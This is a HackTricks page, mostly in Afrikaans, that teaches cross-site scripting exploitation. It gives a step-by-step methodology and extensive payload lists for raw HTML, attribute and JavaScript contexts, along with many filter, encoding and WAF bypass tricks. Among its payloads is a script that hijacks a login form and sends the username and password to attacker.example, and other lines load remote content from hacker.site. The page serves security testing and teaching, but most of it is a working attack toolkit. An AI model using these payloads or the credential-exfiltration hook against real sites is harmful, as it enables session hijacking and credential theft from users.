XSS (Cross Site Scripting)

Reading time: 58 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Metodologie

  1. Kyk of any value you control (parameters, path, headers?, cookies?) weerklink in die HTML of gebruik word deur JS kode.
  2. Vind die konteks waar dit weergalm/gebruik word.
  3. As dit weerklink
  4. Kontroleer watter simbole jy kan gebruik en berei afhangend daarvan die payload voor:
  5. In raw HTML:
  6. Kan jy nuwe HTML tags skep?
  7. Kan jy events of attributes gebruik wat die javascript: protocol ondersteun?
  8. Kan jy beskermings omseil?
  9. Word die HTML-inhoud geïnterpreteer deur enige client side JS engine (AngularJS, VueJS, Mavo...), wat jy kan misbruik met 'n Client Side Template Injection.
  10. As jy nie HTML tags kan skep wat JS kode uitvoer nie, kan jy 'n Dangling Markup - HTML scriptless injection misbruik?
  11. Binne 'n HTML tag:
  12. Kan jy uit die attribute na raw HTML konteks ontsnap?
  13. Kan jy nuwe events/attributes skep om JS kode uit te voer?
  14. Ondersteun die attribute waarin jy vasgevang is JS uitvoer?
  15. Kan jy beskermings omseil?
  16. Binne JavaScript code:
  17. Kan jy die <script> tag ontsnap?
  18. Kan jy die string ontsnap en ander JS kode uitvoer?
  19. Is jou invoer in template literals ``?
  20. Kan jy beskermings omseil?
  21. Javascript funksie wat uitgevoer word
  22. Jy kan die naam van die funksie aandui om uit te voer. bv.: ?callback=alert(1)
  23. As dit gebruik word:
  24. Jy kan 'n DOM XSS misbruik; let daarop hoe jou invoer gekontrolleer word en of jou gekontroleerde invoer deur enige sink gebruik word.

Wanneer jy aan 'n komplekse XSS werk, kan dit nuttig wees om te weet van:

Debugging Client Side JS

Reflected values

Om 'n XSS suksesvol te eksploiteer, is die eerste ding wat jy moet vind 'n waarde wat deur jou beheer word en wat in die webblad weergalm.

  • Intermediately reflected: As jy vind dat die waarde van 'n parameter of selfs die path in die webblad weergalm, kan jy 'n Reflected XSS eksploiteer.
  • Stored and reflected: As 'n waarde wat jy beheer op die bediener gestoor word en elke keer weerspieël word wanneer 'n bladsy geraak word, kan jy 'n Stored XSS eksploiteer.
  • Accessed via JS: As 'n waarde wat jy beheer deur JS benader word, kan jy 'n DOM XSS eksploiteer.

Kontekste

Wanneer jy probeer om 'n XSS te eksploiteer, is die eerste ding wat jy moet weet waar jou invoer weergalm. Afhangend van die konteks, sal jy in staat wees om arbitrêre JS kode op verskillende maniere uit te voer.

Ruwe HTML

As jou invoer in die ruwe HTML bladsy weergalm, moet jy 'n HTML tag misbruik om JS kode uit te voer: <img , <iframe , <svg , <script ... dit is net 'n paar van die baie moontlike HTML tags wat jy kan gebruik.
Onthou ook Client Side Template Injection.

Binne HTML-tag se attribuut

As jou invoer binne die waarde van 'n tag se attribuut weergalm, kan jy probeer:

  1. Om uit die attribuut en uit die tag te ontsnap (dan is jy in die raw HTML) en nuwe HTML tag te skep om te misbruik: "><img [...]
  2. As jy uit die attribuut kan ontsnap maar nie uit die tag nie (> word gekodeer of verwyder), kan jy afhangend van die tag 'n event skep wat JS kode uitvoer: " autofocus onfocus=alert(1) x="
  3. As jy nie uit die attribuut kan ontsnap nie (" word gekodeer of verwyder), sal jy, afhangend van in watter attribuut jou waarde weergalm en of jy die hele waarde of net 'n deel beheer, in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n event soos onclick= beheer, kan jy dit laat arbitrêre kode uitvoer wanneer dit geklik word. Nog 'n interessante voorbeeld is die attribuut href, waar jy die javascript: protocol kan gebruik om arbitrêre kode uit te voer: href="javascript:alert(1)"
  4. As jou invoer binne "unexpoitable tags" weergalm, kan jy die accesskey truuk probeer om die vulnbaarheid te misbruik (jy sal 'n vorm van social engineering nodig hê om dit uit te voer): " accesskey="x" onclick="alert(1)" x="

Weird example of Angular executing XSS if you controls a class name:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Binne JavaScript-kode

In hierdie geval word jou insetsel weerspieël tussen <script> [...] </script> tags van 'n HTML-bladsy, binne 'n .js lêer of binne 'n attribuut wat die javascript: protokol gebruik:

  • As dit weerspieël word tussen <script> [...] </script> tags, selfs as jou insetsel binne enige soort aanhalingstekens is, kan jy probeer om </script> in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die blaaier eers die HTML-tags sal ontleed en dan die inhoud, daarom sal dit nie opmerk dat jou ingevoegde </script> tag binne die HTML-kode is nie.
  • If reflected inside a JS string and the last trick isn't working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won't be executed:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • As dit weerspieël word binne template literals kan jy JS expressions insluit met die ${ ... } sintaksis: var greetings = `Hello, ${alert(1)}`
  • Unicode encode werk om geldige javascript code te skryf:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting verwys na die geleentheid om funksies, veranderlikes of klasse nádat hulle gebruik is te verklaar sodat jy scenario's kan misbruik waar 'n XSS onverklaarde veranderlikes of funksies gebruik.
Kyk na die volgende bladsy vir meer inligting:

JS Hoisting

Javascript Function

Verskeie webblaaie het endpoints wat as parameter die naam van die funksie om uit te voer aanvaar. 'n Algemene voorbeeld in die veld is iets soos: ?callback=callbackFunc.

'n Goeie manier om te ontdek of iets wat direk deur die gebruiker gegee is probeer uitgevoer word, is deur die parameterwaarde aan te pas (byvoorbeeld na 'Vulnerable') en in die console te kyk vir foute soos:

As dit kwesbaar is, kan jy moontlik 'n alert aktiveer net deur die waarde te stuur: ?callback=alert(1). Dit is egter baie algemeen dat hierdie endpoints die inhoud sal valideer om slegs letters, syfers, kolletjies en underscores toe te laat ([\w\._]).

Selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om toegang te kry tot enige element in die DOM:

Sommige nuttige funksies hiervoor:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Jy kan ook probeer om direk trigger Javascript functions: obj.sales.delOrders.

In die praktyk is die endpoints wat die aangeduide funksie uitvoer gewoonlik endpoints sonder 'n baie interessante DOM; other pages in the same origin sal 'n more interesting DOM hê om meer aksies uit te voer.

Daarom, om hierdie kwesbaarheid in 'n ander DOM te misbruik, is die Same Origin Method Execution (SOME) exploitation ontwikkel:

SOME - Same Origin Method Execution

DOM

Daar is JS code wat op 'n onveilige wyse sekere data controlled by an attacker gebruik, soos location.href. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.

DOM XSS

Universal XSS

Hierdie soort XSS kan ooral gevind word. Hulle is nie net afhanklik van die kliëntuitbuiting van 'n webtoepassing nie, maar van enige konteks. Hierdie soort arbitrary JavaScript execution kan selfs misbruik word om RCE te bekom, read arbitrary files op kliënte en bedieners, en meer.
Sommige examples:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

As jou invoer weerspieël word inside the HTML page of jy kan ontsnap en HTML-kode in hierdie konteks injekteer, is die first ding wat jy moet doen om te kyk of jy < kan misbruik om nuwe tags te skep: Probeer net om daardie char te reflect en kyk of dit HTML encoded of deleted word, of of dit reflected without changes is. Slegs in laasgenoemde geval sal jy hierdie situasie kan uitbuit.
Vir hierdie gevalle keep in mind Client Side Template Injection.
Nota: A HTML comment can be closed using****-->****or **--!>**

In hierdie geval, en as geen swart-/witlys gebruik word nie, kan jy payloads soos die volgende gebruik:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Maar, as tags/attributes black/whitelisting gebruik word, sal jy moet brute-force watter tags jy kan skep.
Sodra jy gevind het watter tags toegelaat word, sal jy die brute-force attributes/events binne die gevonde geldige tags moet uitvoer om te sien hoe jy die konteks kan aanval.

Tags/Events brute-force

Gaan na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet en klik op Copy tags to clipboard. Stuur daarna al die tags met Burp intruder en kyk of die WAF enige van hulle nie as kwaadaardig herken het nie. Sodra jy uitgevind het watter tags jy kan gebruik, kan jy brute force alle events met die geldige tags (op dieselfde webblad klik op Copy events to clipboard en volg dieselfde prosedure as voorheen).

Custom tags

As jy geen geldige HTML tag gevind het nie, kan jy probeer om 'n custom tag te skep en JS-kode uit te voer met die onfocus attribute. In die XSS-versoek moet jy die URL met # laat eindig om die bladsy op daardie objek te fokus en die kode uit te voer:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Indien 'n soort blacklist gebruik word, kan jy probeer om dit met 'n paar snaakse truuks te bypass:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Meer tiny XSS vir verskillende omgewings payload can be found here en here.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Die laaste een gebruik 2 unicode-karakters wat uitbrei na 5: telsr
Meer van hierdie karakters kan gevind word here.
Om te kontroleer in watter karakters dit gedecomposeer is, kyk here.

Click XSS - Clickjacking

As jy, om die kwesbaarheid te benut, die gebruiker nodig het om op 'n skakel of 'n vorm te klik met vooraf ingevulde data, kan jy probeer om abuse Clickjacking (as die bladsy kwesbaar is).

Onmoontlik - Dangling Markup

As jy net dink dat dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer, moet jy Danglig Markup nagaan, want jy kan die kwesbaarheid exploit sonder om JS-kode uit te voer.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

As jy binne 'n HTML tag is, is die eerste ding wat jy kan probeer om uit die tag te ontsnap en sommige van die tegnieke in die previous section te gebruik om JS-kode uit te voer.
As jy nie uit die tag kan ontsnap nie, kan jy nuwe attributes binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld met 'n payload soos (let wel dat in hierdie voorbeeld dubbele aanhalingstekens gebruik word om uit die attribuut te ontsnap; jy sal dit nie nodig hê as jou inset direk binne die tag gereflekteer word nie_):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stylgebeure

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Binne die attribuut

Selfs al kan jy nie uit die attribuut ontsnap nie (" word gekodeer of verwyder), afhangend van in watter attribuut jou waarde gereflekteer word en of jy die hele waarde of net 'n deel beheer sal jy dit kan misbruik. By voorbeeld, as jy 'n event soos onclick= beheer sal jy dit in staat wees om ewekansige kode uit te voer wanneer dit geklik word.\ Nog 'n interessante voorbeeld is die attribuut href, waar jy die javascript: protokol kan gebruik om ewekansige kode uit te voer: href="javascript:alert(1)"

Bypass inside event using HTML encoding/URL encode

Die HTML-geënkodeerde karakters binne die waarde van HTML tag-attribuutte word tydens runtime gedekodeer. Daarom sal iets soos die volgende geldig wees (die payload is in vet): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Let wel dat elke soort HTML-enkodering geldig is:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Let daarop dat URL encode ook sal werk:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass binne gebeurtenis met Unicode encode

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Spesiale protokolle binne die attribuut

Daar kan jy die protokolle javascript: of data: in sekere plekke gebruik om willekeurige JS-kode uit te voer. Sommige sal gebruikersinteraksie vereis, ander nie.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Plekke waar jy hierdie protokolle kan inspuit

In die algemeen kan die javascript: protocol gebruik word in enige tag wat die attribute href aanvaar en in die meeste van die tags wat die attribute src aanvaar (maar nie <img> nie)

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Ander obfuscation tricks

In hierdie geval is die HTML encoding en die Unicode encoding trick van die vorige afdeling ook geldig aangesien jy binne 'n attribuut is.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Boonop is daar nog 'n mooi truuk vir hierdie gevalle: Even if your input inside javascript:... is being URL encoded, it will be URL decoded before it's executed. Dus, as jy moet escape uit die string met 'n single quote en jy sien dat it's being URL encoded, onthou dat it doesn't matter, dit sal tydens die execution time as 'n single quote interpreted word.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Neem kennis dat as jy probeer om albei URLencode + HTMLencode in enige volgorde te gebruik om die payload te enkodeer, dit sal nie werk nie, maar jy kan hulle in die payload meng.

Gebruik Hex and Octal encode met javascript:

Jy kan Hex en Octal encode binne die src attribuut van iframe (ten minste) gebruik om HTML tags to execute JS te verklaar:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

As jy enige URL kan inject in 'n ewekansige <a href= tag wat die target="_blank" and rel="opener" attributes bevat, kyk die volgende bladsy om hierdie gedrag uit te buit:

Reverse Tab Nabbing

on Event Handlers Bypass

Eerstens, kyk hierdie bladsy (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) vir nuttige "on" event handlers.
In geval daar 'n blacklist is wat jou verhinder om hierdie event handlers te skep, kan jy die volgende bypasses probeer:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

From here is dit nou moontlik om hidden inputs te misbruik met:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

En in meta tags:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Van here: Jy kan 'n XSS payload inside a hidden attribute uitvoer, mits jy die victim kan persuade om die key combination in te druk. Op Firefox Windows/Linux is die key combination ALT+SHIFT+X en op OS X is die key combination CTRL+ALT+X. Jy kan 'n ander key combination spesifiseer deur 'n ander sleutel in die access key attribute te gebruik. Hier is die vector:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

Die XSS payload sal iets soos hierdie wees: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Verskeie truuks met die gebruik van verskillende koderinge is reeds in hierdie afdeling uitgewys. Gaan terug om te leer waar jy kan gebruik:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Lees die Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Lees die JavaScript bypass blacklist of the following section.

CSS-Gadgets

As jy 'n XSS in 'n baie klein deel van die web vind wat 'n soort interaksie vereis (miskien 'n klein link in die footer met 'n onmouseover element), kan jy probeer om die ruimte wat daardie element inneem te verander om die waarskynlikheid dat die link geaktiveer word te maksimeer.

Byvoorbeeld, jy kan sulke styling by die element voeg soos: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Maar as die WAF die style attribute filter, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind

.test {display:block; color: blue; width: 100%}

en

#someid {top: 0; font-family: Tahoma;}

Nou kan jy ons link wysig en dit in die volgende vorm bring

<a href="" id=someid class=test onclick=alert() a="">

Hierdie truuk is geneem van https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

In hierdie geval sal jou input weerspieël word binne die JS code van 'n .js file of tussen <script>...</script> tags of tussen HTML events wat JS code kan uitvoer of tussen attributes wat die javascript: protocol aanvaar.

Escaping <script> tag

As jou code ingevoeg word binne <script> [...] var input = 'reflected data' [...] </script> kan jy maklik escape die sluiting van die <script> tag:

javascript
</script><img src=1 onerror=alert(document.domain)>

Let daarop dat in hierdie voorbeeld ons het nie eers die enkele aanhalingsteken gesluit nie. Dit is omdat HTML parsing is performed first by the browser, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van script. Die parsing van JavaScript om die ingeslote scripts te verstaan en uit te voer word eers daarna uitgevoer.

Binne JS code

As <> gesanitiseer word, kan jy steeds ontsnap die string waar jou insette geleë is en voer willekeurige JS uit. Dit is belangrik om JS-sintaksis reg te stel, want as daar enige foute is, sal die JS code nie uitgevoer word nie:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Wanneer gebruikersinvoer binne 'n aangehaalde JavaScript-string beland (bv. server-side echo in 'n inline script), kan jy die string beëindig, code inject, en die sintaksis herstel sodat dit steeds geldig geparseer word. Generiese geraamte:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Voorbeeld-URL-patroon wanneer die kwesbare parameter in 'n JS-string gereflekteer word:

?param=test";<INJECTION>;a="

Dit voer attacker JS uit sonder om die HTML-konteks te raak (puur JS-in-JS). Kombineer dit met die blacklist bypasses hieronder wanneer filters sleutelwoorde blokkeer.

Template literals ``

Om strings te konstrueer, anders as enkel- en dubbel-aanhalingstekens, aanvaar JS ook backticks ``. Dit staan bekend as template literals aangesien dit toelaat om ingeslote JS-uitdrukkings te gebruik met die ${ ... } sintaksis.
Daarom, as jy vind dat jou invoer binne 'n JS-string wat backticks gebruik gereflekteer word, kan jy die sintaksis ${ ... } misbruik om willekeurige JS-kode uit te voer:

Dit kan misbruik word met:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Encoded code execution

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Aflewerbare payloads met eval(atob()) en omvangnuanses

Om URL's korter te hou en eenvoudige sleutelwoordfilters te omseil, kan jy jou werklike logika in base64 enkodeer en dit evalueer met eval(atob('...')). As eenvoudige sleutelwoordfiltering identifiseerders soos alert, eval, of atob blokkeer, gebruik Unicode-ontsnapte identifiseerders wat identies in die blaaier gecompileer word maar string-ooreenstemmingsfilters omseil:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Belangrike scoping-nuans: const/let verklaar binne eval() is block-scoped en skep NIE globals nie; hulle sal nie toeganklik wees vir later scripts nie. Gebruik 'n dinamies ingevoegde <script> element om globale, non-rebindable hooks te definieer wanneer nodig (bv. om 'n form handler te hijack):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Verwysing: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode-kodering vir JS-uitvoering

javascript
alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists tegnieke

Strings

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Spesiale ontsnaptekenreekse

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Spasievervangings binne JS-kode

javascript
<TAB>
/**/

JavaScript comments (van JavaScript Comments truuk)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript nuwe reëls (van JavaScript new line truuk)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript witruimtes

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript in 'n kommentaar

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript sonder hakies

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Arbitrêre funksie (alert) aanroep

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
